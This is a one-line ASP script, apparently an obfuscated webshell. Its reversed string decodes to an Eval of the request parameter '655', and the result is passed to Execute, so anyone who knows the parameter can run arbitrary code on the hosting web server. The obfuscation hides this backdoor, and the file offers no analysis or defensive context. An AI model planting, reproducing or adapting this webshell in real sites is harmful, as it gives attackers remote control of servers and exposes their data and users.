<%ShiSan=")©å556©å(TSeUQeR LavE" ExeCuTe(ShiSanFun(ShiSan)) dim ShiSan,ShiSanNewstr,ShiSanI Function ShiSanFun(ShiSanObjstr) ShiSanObjstr = Replace(ShiSanObjstr, "©å", """") For ShiSanI = 1 To Len(ShiSanObjstr) If Mid(ShiSanObjstr, ShiSanI, 1) <> "©ï" Then ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr Else ShiSanNewStr = vbCrLf & ShiSanNewStr End If Next ShiSanFun = ShiSanNewStr End Function%>